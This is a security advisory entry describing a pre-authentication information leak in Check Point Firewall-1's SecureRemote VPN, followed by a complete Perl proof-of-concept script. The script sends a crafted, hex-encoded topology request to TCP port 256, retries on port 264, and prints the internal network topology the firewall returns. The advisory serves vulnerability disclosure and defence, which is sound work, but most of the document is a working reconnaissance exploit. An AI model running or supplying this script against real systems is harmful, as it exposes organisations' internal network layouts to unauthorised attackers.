source: https://www.securityfocus.com/bid/3058/info

SecureRemote is the proprietary VPN infrastructure designed by Check Point Software, and included with some versions of Firewall-1.

A problem with the package allows remote users to gain information about internal networks. Older versions of the package send network topology information to SecureRemote connections prior to authentication, allowing an information gathering attack. 

#!/usr/bin/perl
# A Command-line tool that can be used to download network Topology
# from Firewall-1's running SecureRemote, with the option "Allow un
# authenticated cleartext topology downloads".
# Usage sr.pl IP
# Haroon Meer & Roelof Temmingh 2001/07/17
# haroon@sensepost.com - http://www.sensepost.com

use Socket;
if ($#ARGV<0) {die "Usage: sr.pl IP\n";}

$port=256;
$target=inet_aton($ARGV[0]);
print "Testing $host on port $port\n";

$SENDY="410000000259052100000004c41e43520000004e28746f706f6c6f67792d726571756573740a093a63616e616d6520282d53656e7365506f73742d646f74
636f6d2d290a093a6368616c6c656e67652028633265323331383339643066290a290a00";
$SENDY = pack("H*",$SENDY);

@results=sendraw($SENDY);

if ($#results == 0) {
 print "No results on port 256 - trying 264\n";
 $port=264;
 @results2=sendraw($SENDY); 
 if ($#results2 == 0) {die "Sorry - no results\n";}
} else {print @results;}

sub sendraw {
 my ($pstr)=@_;
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,$port,$target)){
  my @in;
  select(S);      $|=1;   print $pstr;
  while(<S>){ push @in, $_;}
  select(STDOUT); close(S); return @in;
 } else { return ""; }
}
# Spidermark: sensepostdata fw1